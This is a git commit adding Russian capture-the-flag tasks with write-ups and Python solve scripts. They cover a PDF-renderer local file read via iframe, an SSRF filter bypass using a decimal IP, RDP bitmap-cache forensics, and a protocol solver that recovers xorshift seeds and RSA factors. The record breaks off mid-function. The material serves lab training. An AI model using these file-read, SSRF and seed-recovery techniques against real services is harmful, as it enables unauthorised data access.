commit 9511b382800edeebbb502a3caf8b81bd6a59de8c Author: Caplag Date: Mon Mar 2 21:44:22 2026 +0300 Init. commit diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..94f480d --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +* text=auto eol=lf \ No newline at end of file diff --git a/ArchmageScriptorium-Web/README.md b/ArchmageScriptorium-Web/README.md new file mode 100644 index 0000000..a3cc526 --- /dev/null +++ b/ArchmageScriptorium-Web/README.md @@ -0,0 +1,24 @@ +# Web 1.1 Cкрипторий Архимага + +В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара. + +## Решение + +Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`. + +Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF. + +### Пример + +Через `curl`: +```bash +curl -s -X POST http://localhost:8000/seal \ + -F 'content=

Королевский Указ

' \ + -F 'format=html' \ + -o scroll.pdf +``` + +Через скрипт `solve/exploit.py`: +```bash +python solve/exploit.py http://localhost:8000 +``` diff --git a/ArchmageScriptorium-Web/exploit.py b/ArchmageScriptorium-Web/exploit.py new file mode 100644 index 0000000..1b9f3f7 --- /dev/null +++ b/ArchmageScriptorium-Web/exploit.py @@ -0,0 +1,27 @@ +import sys +import requests + + +def main(): + base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000" + payload = """ +

Королевский Указ

+

Приложение: выдержка из гримуара

+ +""".strip() + + resp = requests.post( + f"{base}/seal", + data={"content": payload, "format": "html"}, + timeout=10, + ) + resp.raise_for_status() + + with open("scroll.pdf", "wb") as f: + f.write(resp.content) + + print("saved scroll.pdf") + + +if __name__ == "__main__": + main() diff --git a/BMP1-Forensic/README.md b/BMP1-Forensic/README.md new file mode 100644 index 0000000..b14a271 --- /dev/null +++ b/BMP1-Forensic/README.md @@ -0,0 +1,29 @@ +# BMP1 + +На разработчика задачи была проведена атака. Мы так и не выяснили, что произошло, но спустя время заметили, что в систему был встроен скрипт, который при запуске клиента `xfreerdp` добавлял дополнительные параметры. Вся строка запуска указана ниже: +``` +xfreerdp3 /v:ip /u:Administrator /p:'pass' /cert:ignore \ + /bpp:32 /network:lan \ + /cache:bitmap:on,codec:off,glyph:on,offscreen:on,persist,persist-file:$HOME/.cache/rdp/data.bin \ + -gfx -rfx \ + /w:2020 /h:1280 +``` + +Помогите узнать, чего добивались злоумышленники. + +## Решение + +По ключам запуска определяем, что злоумышленники хотели сохранить *сырое графическое представление RDP-сеанса*. Используется глубина 32 бита, отключаются кодеки с потерями, отключается масштабирование, а bitmap-кэш принудительно пишется в `persist-file:$HOME/.cache/rdp/data.bin`. + +Получается, что цель - собрать из кэша артефакты удалённого экрана и восстановить содержимое сеанса (вплоть до флага). + +Для извлечения тайлов можно воспользоваться тулзой `bmc-tools`: + +```bash +git clone https://github.com/ANSSI-FR/bmc-tools.git +python3 bmc-tools.py -s data.bin -d ./extracted_tiles +``` + +После этого остаётся собрать изображение из полученных фрагментов, учитывая размер окна `/w:2020 /h:1280`. + +**Получаем флаг**: `CAPLAG{oh_uj_etot_vash_bmp_easy_take_it}` diff --git a/ForesightRune-Web/README.md b/ForesightRune-Web/README.md new file mode 100644 index 0000000..43d3b4e --- /dev/null +++ b/ForesightRune-Web/README.md @@ -0,0 +1,41 @@ +# Руна Предвидения + +В Гильдии Магов появилась Руна Предвидения: она не творит заклинаний, а описывает путь. Страж Портала Локхолда знает запретные имена, но не знает истинных числовых титулов. Составьте свиток так, чтобы руны вытащили тайну изнутри цитадели и напечатали её в PDF. + +Свиток валиден, когда рунический заголовок и гравюра идут парой. Есть 2 режима работы: `meta` и `flag`. +Формат: +`[RUNE rid="..." mode="..." url="..."] ![](/etch?rid=...&what=...)` + + +## Решение +Сначала изучаем страницу и связанные параметры. По *cookie* находим `rune_rid`, а из описания понимаем, что руна должна использовать этот идентификатор в заголовке. Прямой `localhost` блокируется, поэтому для **SSRF** используем числовую форму `127.0.0.1` - `2130706433`. + +### Получение `nonce` +Для первого запроса используем `mode="meta"`. Тогда сервис возвращает служебные данные, в которых печатается одноразовый `nonce`. + +``` +[RUNE rid="RID_ИЗ_COOKIE" mode="meta" url="http://2130706433/meta"] + +![](/etch?rid=RID_ИЗ_COOKIE&what=meta) +``` + +После печати в PDF появится значение `nonce`. + +### Получение флага +Во втором свитке подставляем `nonce` из первого PDF и меняем режим на `flag`: + +``` +[RUNE rid="RID_ИЗ_COOKIE" mode="flag" url="http://2130706433/flag?nonce=NONCE_ИЗ_PDF"] + +![](/etch?rid=RID_ИЗ_COOKIE&what=flag) +``` + +После печати второго свитка в PDF появляется флаг. + +### Не забываем учесть: +- Оракул отвечает только на навигацию документа, поэтому запрос через картинку не сработает: `![](/oracle?rid=x&mode=meta&u=http://2130706433/meta)`. +- Прямой `http://127.0.0.1/...` блокируется стражем по подстроке. +- `file:///flag.txt` блокируется фильтром протокола. +- Гравюра принимает только `/etch` и строгие параметры `rid` и `what`. +- Нельзя вставлять больше одной руны и одной гравюры в один свиток. +- `nonce` одноразовый и живёт около 15 секунд. diff --git a/ForesightRune-Web/solve.py b/ForesightRune-Web/solve.py new file mode 100644 index 0000000..92c165e --- /dev/null +++ b/ForesightRune-Web/solve.py @@ -0,0 +1,136 @@ +import io +import re +import sys +import time + +import requests + + +BASE_URL = "http://127.0.0.1:8000" +SSRF_META_URL = "http://2130706433/meta" +SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}" + + +def build_scroll(rid: str, mode: str, url: str) -> str: + return ( + f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n' + f"![](/etch?rid={rid}&what={mode})" + ) + + +def get_rid(session: requests.Session) -> str: + resp = session.get(f"{BASE_URL}/") + resp.raise_for_status() + rid = session.cookies.get("rune_rid") + if not rid: + raise RuntimeError("rune_rid cookie not found. Open / in browser once.") + return rid + + +def seal_scroll(session: requests.Session, content: str) -> bytes: + resp = session.post(f"{BASE_URL}/seal", data={"content": content}) + if resp.status_code != 200: + raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}") + return resp.content + + +def extract_text_from_pdf(data: bytes) -> str: + try: + import PyPDF2 # type: ignore + except Exception: + return "" + + try: + reader = PyPDF2.PdfReader(io.BytesIO(data)) + except Exception: + return "" + + texts = [] + for page in reader.pages: + try: + texts.append(page.extract_text() or "") + except Exception: + continue + return "\n".join(texts) + + +def extract_nonce_from_pdf(data: bytes) -> str: + text = extract_text_from_pdf(data) + if text: + match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text) + if match: + return match.group(0) + + # Fallback: brute-search tokens in raw PDF bytes. + raw = data.decode("latin1", errors="ignore") + candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw) + if candidates: + return candidates[0] + raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.") + + +def extract_flag_from_pdf(data: bytes) -> str: + text = extract_text_from_pdf(data) + if text: + match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text) + if match: + return match.group(0) + + raw = data.decode("latin1", errors="ignore") + match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw) + if match: + return match.group(0) + raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.") + + +def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str: + resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what}) + resp.raise_for_status() + svg = resp.text + match = re.search(r"]*>([^<]+)", svg) + if match: + return match.group(1).strip() + raise RuntimeError("Failed to extract value from SVG.") + + +def main() -> int: + global BASE_URL + if len(sys.argv) > 1: + base_url = sys.argv[1].rstrip("/") + else: + base_url = BASE_URL + + BASE_URL = base_url + + session = requests.Session() + + rid = get_rid(session) + print(f"[+] rid = {rid}") + + # Step 1: get nonce via oracle + scroll_meta = build_scroll(rid, "meta", SSRF_META_URL) + pdf_meta = seal_scroll(session, scroll_meta) + + # Prefer extracting from PDF; fallback to /etch if parsing fails. + try: + nonce = extract_nonce_from_pdf(pdf_meta) + except Exception: + nonce = fetch_svg_text(session, rid, "meta") + + print(f"[+] nonce = {nonce}") + + # Step 2: get flag + scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce)) + pdf_flag = seal_scroll(session, scroll_flag) + + try: + flag = extract_flag_from_pdf(pdf_flag) + except Exception: + flag = fetch_svg_text(session, rid, "flag") + + print(f"[+] flag = {flag}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/Gossips-Misc-Hard-main/README.md b/Gossips-Misc-Hard-main/README.md new file mode 100644 index 0000000..a2e4549 --- /dev/null +++ b/Gossips-Misc-Hard-main/README.md @@ -0,0 +1,100 @@ +# Сплетники - WriteUp + +Задача находится в категории Blackbox (реверс без бинарника) и предполагает наблюдение за работой неизвестного протокола. Уже из вывода эндпоинтов `feed`, `status` и `settings` можно получить базовую картину: + +- Есть одна сущность, которая задаёт вопросы, и две сущности, которые отвечают. +- Вопросы имеют жёсткую форму: вопросительное слово, существительное, прилагательное и обстоятельство (ровно 4 слова + `?`). +- Ответы всегда длиной 12 "слов" (фрагментов между пробелами) и выглядят как непрерывная последовательность из "Трёх мушкетёров". +- Сообщения валидируются системным участником `SYSTEM`. +- Общение идёт в рамках "эпох". +- Перед концом эпохи запускается выбор нового лидера: все участники задают вопросы и отвечают, а победитель выбирается по числу правильных ответов и средней задержке. + +#### По обращению в эндпоинт `status` можно понять следующее: +```json +{ + "epoch": 12841, - номер эпохи + "mode": "CHAT/ELECTION/PAUSE", - режим фида + "leader_kid": "d997ba98d4de71fb", - id задающего в эпохе + "election_duration_sec": 7.0, - длительность элекции + "post_election_pause_sec": 2.0, - длительность паузы + "pause_remaining_sec": 0.0, + "answer_algo": "rsa_vdf_v1", - понимаем, что ответ детерминирован по RSA VDF + "question_algo": "xs64_v1", - понимаем, что вопросы генерируются xorshift64 + "vdf_N_hex": "a0ede10c4195e4334e0622f66d94977f3d95ed014847af5c908adfd0d016eac45f8feca1edacd09393e8182039ec9fc0a1521a2d29cc7822084cb8bbe1e2e319e8db7243984c632cf87832d0147291f825a0be20c969bbcbfc0dd8c34a2230382584ffcb066aafa48c98ed5596b6f663dcd29a4fd39a5f7ce31177077e19112093595a68af689da8db66dcc68ff85e1b686621a1777ff2d964a6500550ebdf5de1526ec6135e7147f2afae2ddb975899c891e63cd7a534e461b7b7499a62bd55014d6212584a6feac79b51d438165f4ca890982975e7cc4325932a44fed1d0a305c19a80889be8f9e22cfa074dd325e2eda8bd344a280c36c75f3594c41b498f", - параметр N функции получения ответа + "vdf_T": 10000000, - параметр T функции получения ответа +} +``` + +#### А если зайдём в `settings`, то увидим: +```json +{ + "vdf_keygen": "det_rsa_xs64_v1", - понимаем, что модуль RSA детерминированно генерируется из xorshift64 + "vdf_prime_bits": 1024, + "miller_rabin_rounds": 32, + "kid_algo": "sha256:8bytes:hex_lower", + "answer_space": 131072, - пространство возможных ответов (dict_size для hint.py) + "question_vocab": "16x16x16x16", - размерность словаря вопросов + "book_encoding": "koi8_r", + "book_sha256_src": "1babc9e9994556119ea941d0de6d867ce15640d55a2ee3801f577cf86633ea00", - помощь для нахождения книги + "question_xs64_v1": { + "u64_per_question": 4, - 4 генерации на построение вопроса + "index_mask_bits": 4 - утекают 4 бита + }, + "master_seed64_sha256_le64_prefix": "...", - жирный намёк, что есть общая часть сида (64-бит) + "epoch_seed64_sha256_le64_prefix": "...", - и тут понимаем, что сид зависит от эпохи +} +``` + +### На этом этапе делаем выводы +- Книгу можно найти из открытых источников по хешу или по характерным фрагментам ответов. +- Ответ детерминирован и зависит от вопроса, эпохи и конкретного отвечающего. +- Для расчёта ответа используется RSA VDF. +- Свои сообщения можно отправлять в фид, если соблюдён формат и подпись. +- Вопросы в `CHAT` генерируются от `epoch_seed64`. +- Генерация RSA-ключа сидится от `master_seed64` (иначе `N` менялся бы по эпохам). + +### Эксперименты с сообщениями +Подбор канона подписи показывает, что `sig` считается по всем полям, кроме самого `sig`. Попытка отправить `QUESTION` в обычной фазе не даёт результата, если мы не лидер, а попытка отправить `ELECTION_QUESTION` в `CHAT` сразу возвращает `400`. + +При ответах на вопросы получаем либо "самозванец" (неверный ответ), либо просто не успеваем в тайм-окно. Отсюда основной вывод: алгоритм вычисления ответа нужно радикально ускорять. + +Тут и начинается ключевая сложность задачи. + +### Путь решения (обязательный) +Нужен бот для работы в реальном времени. Он должен уметь генерировать `kid` (как в `hint.py`), корректно подписывать сообщения и отслеживать смену эпох и режимов. + +Минимальный функционал бота: + +- опрашивать `/status` и понимать текущие `mode` (`CHAT/ELECTION/PAUSE`), `epoch`, `leader_kid`, `vdf_N_hex`, `vdf_T`; +- читать `/feed`, парсить события и хранить локальный лог по эпохам; +- отправлять `POST /feed` только в допустимом режиме (в `PAUSE` будет `409`); +- корректно выставлять `epoch` и подбирать `qid`, чтобы не конфликтовать с уже существующими сообщениями. + +После этого восстанавливаем словарь вопросов, а затем `epoch_seed64` по вопросам лидера. В `CHAT` используется `xorshift64`, на вопрос тратится 4 значения `u64`, а в текст попадают только младшие 4 бита каждого значения. Это сводится к линейной системе GF(2), которая решается обычным гауссом. + +Зная `epoch_seed64`, получаем `master_seed64 = epoch_seed64 ^ epoch` и проверяем себя по `master_seed64_sha256_le64_prefix` из `settings`. Далее берём `master_seed32 = master_seed64 & 0xFFFFFFFF`. + +### Дальнейший путь +Есть два рабочих направления. + +#### 1) "В лоб" +Можно писать максимально быструю реализацию VDF (параллель, низкоуровневый язык) и делать предвычисления для заранее выбранной эпохи. + +Ключевой шаг - реверс формулы election-сида (из наблюдений видно, что `election`-вопросы зависят от `epoch` и `kid`): +``` +seed = master_seed32 ^ epoch ^ kid16 +``` + +Этот сид прогоняется через **xorshift32** (не `xorshift64`) для генерации `election`-вопросов. После предсказания трёх `ELECTION_QUESTION` на нужную эпоху можно выигрывать выборы и получать флаг как лидер. + +#### 2) "Каноническое" +Из `settings` видно `vdf_keygen: det_rsa_xs64_v1`, то есть модуль `N` детерминированно генерируется из `xorshift64` на `master_seed64`. Поскольку `vdf_N_hex` стабилен между эпохами, это и есть нужный корневой сид. + +Далее воспроизводим генерацию RSA-ключей, получаем `p` и `q`, проверяем `p*q == vdf_N_hex`, а затем считаем VDF-ответы на `ELECTION_QUESTION` через CRT и сокращение итераций до одной модэкспоненты. Это позволяет обогнать боссов, выиграть выборы и получить флаг. + +### Хвосты +Эти факты неочевидны, но сильно упрощают решение: + +- Ответ с высокой вероятностью можно однозначно преобразовать в вопрос (последовательности из 12 слов в книге почти всегда уникальны). +- Полезно логировать и `feed`, и `status`: между перезапусками задания RSA-ключи не меняются, так что накопленный датасет пригодится позже. +- В фазе элекции игрок даёт не 2 ответа, а 3, поэтому даже относительно медленная реализация может победить в рамках окна. diff --git a/Gossips-Misc-Hard-main/solver_blackbox.py b/Gossips-Misc-Hard-main/solver_blackbox.py new file mode 100644 index 0000000..04ab830 --- /dev/null +++ b/Gossips-Misc-Hard-main/solver_blackbox.py @@ -0,0 +1,667 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from __future__ import annotations + +import argparse +import base64 +import hashlib +import json +import math +import time +from dataclasses import dataclass +from typing import Any, Dict, List, Optional, Sequence, Tuple + +import requests +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from cryptography.hazmat.primitives import serialization + + +# ---------------- Protocol constants ---------------- +KIND_ANSWER = "ANSWER" +FLAG_QUESTION_TEXT = "Почему слоник зеленый?" + +ANSWER_ALGO = "rsa_vdf_v1" +QUESTION_ALGO = "xs64_v1" + +KIND_QUESTION = "QUESTION" +KIND_ELECTION_Q = "ELECTION_QUESTION" +KIND_ELECTION_A = "ELECTION_ANSWER" + +NGRAM_LEN = 12 # fixed by task + + +# ---------------- Small helpers ---------------- + +def canonical_json(obj: Dict[str, Any]) -> bytes: + return json.dumps(obj, ensure_ascii=False, separators=(",", ":"), sort_keys=True).encode("utf-8") + + +def canonical_msg_without_sig(msg: Dict[str, Any]) -> bytes: + d = {k: msg[k] for k in msg.keys() if k != "sig"} + return canonical_json(d) + + +def b64e(b: bytes) -> str: + return base64.b64encode(b).decode("ascii") + + +def b64d(s: str) -> bytes: + return base64.b64decode(s.encode("ascii"), validate=True) + + +def kid_from_pk_sha256_8_hex(pk_bytes: bytes) -> str: + return hashlib.sha256(pk_bytes).digest()[:8].hex() + + +def kid16_from_kid(kid_hex: str) -> int: + kid_hex = kid_hex.strip().lower() + if kid_hex.startswith("0x"): + kid_hex = kid_hex[2:] + if len(kid_hex) < 4: + return 0 + return int(kid_hex[-4:], 16) & 0xFFFF + + +def canon_q(question_text: str) -> str: + return " ".join(str(question_text).strip().split()) + + +def u16be(x: int) -> bytes: + return (int(x) & 0xFFFF).to_bytes(2, "big") + + +def sha256(data: bytes) -> bytes: + return hashlib.sha256(data).digest() + + +def seed_to_x(question_text: str, epoch: int, kid_hex: str, N: int) -> int: + kid16 = kid16_from_kid(kid_hex) + q_can = canon_q(question_text) + seed_bytes = sha256(b"vdf|" + u16be(epoch) + u16be(kid16) + q_can.encode("utf-8")) + x = int.from_bytes(seed_bytes, "big") % N + while math.gcd(x, N) != 1: + x = (x + 1) % N + return x + + +def crt(y_p: int, y_q: int, p: int, q: int) -> int: + inv_p = pow(p % q, -1, q) + t = ((y_q - y_p) % q) * inv_p % q + return y_p + p * t + + +def vdf_fast(x: int, p: int, q: int, T: int) -> int: + N = p * q + e_p = pow(2, T, p - 1) + e_q = pow(2, T, q - 1) + y_p = pow(x % p, e_p, p) + y_q = pow(x % q, e_q, q) + y = crt(y_p, y_q, p, q) + return y % N + + +def y_to_idx(y: int, N: int, dict_size: int) -> int: + if dict_size <= 0 or (dict_size & (dict_size - 1)) != 0: + raise ValueError("dict_size must be power of two") + lenN = (N.bit_length() + 7) // 8 + h = sha256(int(y).to_bytes(lenN, "big")) + h32 = int.from_bytes(h[:4], "little") + return h32 & (dict_size - 1) + + +# ---------------- Book 12-gram source ---------------- + +@dataclass +class BookNGram: + tokens: List[str] + dict_size: int + + @staticmethod + def load(book_path: str, *, encoding: str = "koi8_r") -> "BookNGram": + raw = open(book_path, "rb").read() + text = raw.decode(encoding, errors="strict") + text = text.replace("\x14", "").replace("\x15", "") + tokens = text.split() + if len(tokens) < NGRAM_LEN: + raise RuntimeError("book too short") + ngram_count = len(tokens) - NGRAM_LEN + 1 + dict_size = 1 << (ngram_count.bit_length() - 1) + return BookNGram(tokens=tokens, dict_size=dict_size) + + def lookup(self, idx: int) -> str: + return " ".join(self.tokens[idx: idx + NGRAM_LEN]) + + +def expected_answer_fast( + question_text: str, + epoch: int, + kid_hex: str, + book: BookNGram, + p: int, + q: int, + T: int, +) -> str: + N = p * q + x = seed_to_x(question_text, epoch, kid_hex, N) + y = vdf_fast(x, p, q, T) + idx = y_to_idx(y, N, book.dict_size) + return book.lookup(idx) + + +# ---------------- xorshift32 + prime gen (same as service) ---------------- + +class XorShift32: + __slots__ = ("state",) + + def __init__(self, state: int): + self.state = int(state) & 0xFFFFFFFF + if self.state == 0: + self.state = 1 + + def next_u32(self) -> int: + x = self.state + x ^= (x << 13) & 0xFFFFFFFF + x ^= (x >> 17) & 0xFFFFFFFF + x ^= (x << 5) & 0xFFFFFFFF + self.state = x & 0xFFFFFFFF + return self.state + + def next_u64(self) -> int: + hi = self.next_u32() + lo = self.next_u32() + return ((hi << 32) | lo) & 0xFFFFFFFFFFFFFFFF + + +_SMALL_PRIMES = ( + 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, + 61, 67, 71, 73, 79, 83, 89, 97, +) + + +def is_probable_prime(n: int, rounds: int = 32) -> bool: + n = int(n) + if n < 2: + return False + if n in (2, 3): + return True + if n % 2 == 0: + return False + for p in _SMALL_PRIMES: + if n == p: + return True + if n % p == 0: + return False + d = n - 1 + s = 0 + while (d & 1) == 0: + d >>= 1 + s += 1 + for i in range(int(rounds)): + a = 2 + i + if a >= n - 1: + a = 2 + (a % (n - 3)) + x = pow(a, d, n) + if x == 1 or x == n - 1: + continue + for _ in range(s - 1): + x = (x * x) % n + if x == n - 1: + break + else: + return False + return True + + +def cand_from_rng_1024(rng) -> int: + parts = [rng.next_u64() for _ in range(16)] + b = b"".join(int(x).to_bytes(8, "big") for x in parts) + cand = int.from_bytes(b, "big") + cand |= (1 << 1023) + cand |= 1 + return cand + + +def generate_prime_1024(rng) -> int: + cand = cand_from_rng_1024(rng) + while not is_probable_prime(cand): + cand += 2 + return cand + + +class XorShift64: + __slots__ = ("state",) + + def __init__(self, state: int): + self.state = int(state) & 0xFFFFFFFFFFFFFFFF + if self.state == 0: + self.state = 1 + + def next_u64(self) -> int: + x = self.state + x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF + x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF + x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF + self.state = x & 0xFFFFFFFFFFFFFFFF + return self.state + + +def master_seed32_from_secret(secret: str) -> int: + h = hashlib.sha256(secret.encode("utf-8")).digest() + seed32 = int.from_bytes(h[:4], "little") & 0xFFFFFFFF + if seed32 == 0: + seed32 = 1 + return seed32 + + +def master_seed64_from_secret(secret: str) -> int: + h = hashlib.sha256(secret.encode("utf-8")).digest() + seed64 = int.from_bytes(h[:8], "little") & 0xFFFFFFFFFFFFFFFF + if seed64 == 0: + seed64 = 1 + return seed64 + + +def generate_vdf_params(master_seed64: int, T: int) -> Tuple[int, int, int]: + rng = XorShift64(master_seed64) + p = generate_prime_1024(rng) + q = generate_prime_1024(rng) + while q == p: + q = generate_prime_1024(rng) + N = p * q + return p, q, N + + +# ---------------- Question parsing + linear recovery (64-bit xorshift) ---------------- + +@dataclass +class Vocab: + W: List[str] + N: List[str] + A: List[str] + E: List[str] + + @staticmethod + def empty() -> "Vocab": + return Vocab(W=[], N=[], A=[], E=[]) + + +def parse_question_words(q: str) -> Optional[Tuple[str, str, str, str]]: + # Expect "W N A E?" exactly 4 words + parts = q.strip().split() + if len(parts) != 4: + return None + w, n, a, e = parts + if not e.endswith("?"): + return None + e = e[:-1] + w = w.lower() + n = n.lower() + a = a.lower() + e = e.lower() + return w, n, a, e + + +def build_vocab_from_questions(questions: Sequence[str]) -> Vocab: + ws, ns, a_s, es = set(), set(), set(), set() + for q in questions: + parsed = parse_question_words(q) + if not parsed: + continue + w, n, a, e = parsed + ws.add(w); ns.add(n); a_s.add(a); es.add(e) + # Protocol guarantees 16 each once we've seen enough traffic + return Vocab(W=sorted(ws), N=sorted(ns), A=sorted(a_s), E=sorted(es)) + + +def question_to_obs4(q: str, vocab: Vocab) -> Optional[Tuple[int, int, int, int]]: + parsed = parse_question_words(q) + if not parsed: + return None + w, n, a, e = parsed + try: + return (vocab.W.index(w), vocab.N.index(n), vocab.A.index(a), vocab.E.index(e)) + except ValueError: + return None + + +def xs64_next(state: int) -> int: + x = state & 0xFFFFFFFFFFFFFFFF + x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF + x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF + x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF + return x & 0xFFFFFFFFFFFFFFFF + + +def build_linear_system_from_obs(obs: List[int], steps: int) -> Tuple[List[int], List[int]]: + MASK = 0xFFFFFFFFFFFFFFFF + + def xs64_step_masks(m: int) -> int: + x = m + x ^= (x << 13) & MASK + x ^= (x >> 7) & MASK + x ^= (x << 17) & MASK + return x & MASK + + rows: List[int] = [] + rhs: List[int] = [] + + vecs = [1 << k for k in range(64)] + + for t in range(steps): + vecs = [xs64_step_masks(v) for v in vecs] + nib = obs[t] & 0xF + for bit in range(4): + row = 0 + for k in range(64): + if (vecs[k] >> bit) & 1: + row |= 1 << k + rows.append(row) + rhs.append((nib >> bit) & 1) + + return rows, rhs + + +def gf2_gauss_elim(rows: List[int], rhs: List[int]) -> Optional[int]: + """ + Solve A x = b over GF(2) for 64 vars, return one solution as 64-bit int. + """ + n = 64 + m = len(rows) + rows = rows[:] + rhs = rhs[:] + + pivot_row_for_col = [-1] * n + r = 0 + for c in range(n): + piv = None + for i in range(r, m): + if (rows[i] >> c) & 1: + piv = i + break + if piv is None: + continue + rows[r], rows[piv] = rows[piv], rows[r] + rhs[r], rhs[piv] = rhs[piv], rhs[r] + pivot_row_for_col[c] = r + + for i in range(m): + if i != r and ((rows[i] >> c) & 1): + rows[i] ^= rows[r] + rhs[i] ^= rhs[r] + r += 1 + if r == m: + break + + for i in range(m): + if rows[i] == 0 and rhs[i] == 1: + return None + + x = 0 + for c in range(n - 1, -1, -1): + pr = pivot_row_for_col[c] + if pr == -1: + continue + s = rhs[pr] + row = rows[pr] + for j in range(c + 1, n): + if (row >> j) & 1: + s ^= (x >> j) & 1 + if s & 1: + x |= 1 << c + return x & 0xFFFFFFFFFFFFFFFF + + +def recover_epoch_seed64_from_obs4(obs4: List[Tuple[int, int, int, int]]) -> Optional[int]: + """ + For each question we observe 4 consecutive xs64 outputs low 4 bits. + """ + obs_nibbles: List[int] = [] + for o in obs4: + obs_nibbles.extend([o[0], o[1], o[2], o[3]]) + obs_nibbles = obs_nibbles[:200] # 50 questions * 4 + if len(obs_nibbles) < 64: + return None + + rows, rhs = build_linear_system_from_obs(obs_nibbles, steps=len(obs_nibbles)) + sol = gf2_gauss_elim(rows, rhs) + return sol + + +# ---------------- Feed client / play loop ---------------- + +class Player: + def __init__(self, feed_url: str, book: BookNGram, play: bool): + self.feed_url = feed_url.rstrip("/") + self.book = book + self.play = play + self.session = requests.Session() + + # Generate an Ed25519 keypair for signing messages + self.sk = Ed25519PrivateKey.generate() + self.pk = self.sk.public_key().public_bytes( + encoding=serialization.Encoding.Raw, + format=serialization.PublicFormat.Raw, + ) + self.kid = kid_from_pk_sha256_8_hex(self.pk) + + self.pk_b64 = b64e(self.pk) + + # Learned data + self.vocab: Optional[Vocab] = None + self.master_seed64: Optional[int] = None + self.master_seed32: Optional[int] = None + self.vdf_p: Optional[int] = None + self.vdf_q: Optional[int] = None + self.vdf_N: Optional[int] = None + self.vdf_T: Optional[int] = None + + self.answered_election_qids: set[int] = set() + self._last_epoch_seen: Optional[int] = None + self._flag_sent_epoch: Optional[int] = None + self._flag_qid: Optional[int] = None + self._all_observed_questions: List[str] = [] # accumulate across epochs for vocab + + def get_status(self) -> Dict[str, Any]: + r = self.session.get(self.feed_url + "/status", timeout=5) + r.raise_for_status() + return r.json() + + def get_feed(self) -> List[Dict[str, Any]]: + r = self.session.get(self.feed_url + "/feed", timeout=10) + r.raise_for_status() + return r.json() + + def post(self, *, kind: str, epoch: int, qid: int, text: str) -> None: + msg = { + "ts": int(time.time()), + "kind": kind, + "kid": self.kid, + "epoch": int(epoch), + "qid": int(qid), + "text": text, + "pk": self.pk_b64, + "sig": "", + } + sig = self.sk.sign(canonical_msg_without_sig(msg)) + msg["sig"] = b64e(sig) + r = self.session.post(self.feed_url + "/feed", json=msg, timeout=10) + r.raise_for_status() + + def try_learn_and_break(self, epoch: int, leader_kid: str, feed: List[Dict[str, Any]]) -> None: + qs = [str(m.get("text", "")) for m in feed if m.get("kind") == KIND_QUESTION and m.get("kid") == leader_kid] + if len(qs) < 20: + return + + if self.vocab is None: + # Accumulate questions across epochs for vocab discovery + self._all_observed_questions.extend(qs) + v = build_vocab_from_questions(self._all_observed_questions) + if len(v.W) == 16 and len(v.N) == 16 and len(v.A) == 16 and len(v.E) == 16: + self.vocab = v + print("[solver] learned vocab sets (16 each)") + + if self.vocab is None: + return + + obs4 = [] + for q in qs: + o = question_to_obs4(q, self.vocab) + if o is not None: + obs4.append(o) + + if self.master_seed64 is None: + seed_epoch64 = recover_epoch_seed64_from_obs4(obs4) + if seed_epoch64 is None: + return + self.master_seed64 = seed_epoch64 ^ (epoch & 0xFFFFFFFFFFFFFFFF) + self.master_seed32 = self.master_seed64 & 0xFFFFFFFF + print(f"[solver] recovered master_seed64 = {self.master_seed64} (0x{self.master_seed64:016x})") + print(f"[solver] derived master_seed32 = {self.master_seed32} (0x{self.master_seed32:08x})") + + if self.master_seed64 is not None and self.vdf_T is not None and self.vdf_N is not None and self.vdf_p is None: + p, q, N = generate_vdf_params(self.master_seed64, self.vdf_T) + if N != self.vdf_N: + print("[solver] generated N does not match /status (wrong seed?)") + return + self.vdf_p = p + self.vdf_q = q + print("[solver] factored vdf_N via regeneration: OK") + + def maybe_ask_flag_question(self, epoch: int, mode: str, leader: str, feed: List[Dict[str, Any]]) -> None: + if not self.play: + return + if mode != "CHAT": + return + if leader != self.kid: + return + if self._flag_sent_epoch == epoch: + return + + # выбрать следующий свободный qid для моих QUESTION в этой эпохе + my_qids = [] + for m in feed: + try: + if int(m.get("epoch", -1)) != int(epoch): + continue + if str(m.get("kind")) != KIND_QUESTION: + continue + if str(m.get("kid")) != self.kid: + continue + my_qids.append(int(m.get("qid", -1))) + except Exception: + continue + qid = (max(my_qids) + 1) if my_qids else 0 + + self.post(kind=KIND_QUESTION, epoch=epoch, qid=qid, text=FLAG_QUESTION_TEXT) + self._flag_sent_epoch = epoch + self._flag_qid = qid + print(f"[solver] asked flag question qid={qid}") + + def maybe_print_flag_answer(self, epoch: int, feed: List[Dict[str, Any]]) -> None: + if self._flag_sent_epoch != epoch or self._flag_qid is None: + return + for m in feed: + try: + if int(m.get("epoch", -1)) != int(epoch): + continue + if str(m.get("kind")) != KIND_ANSWER: + continue 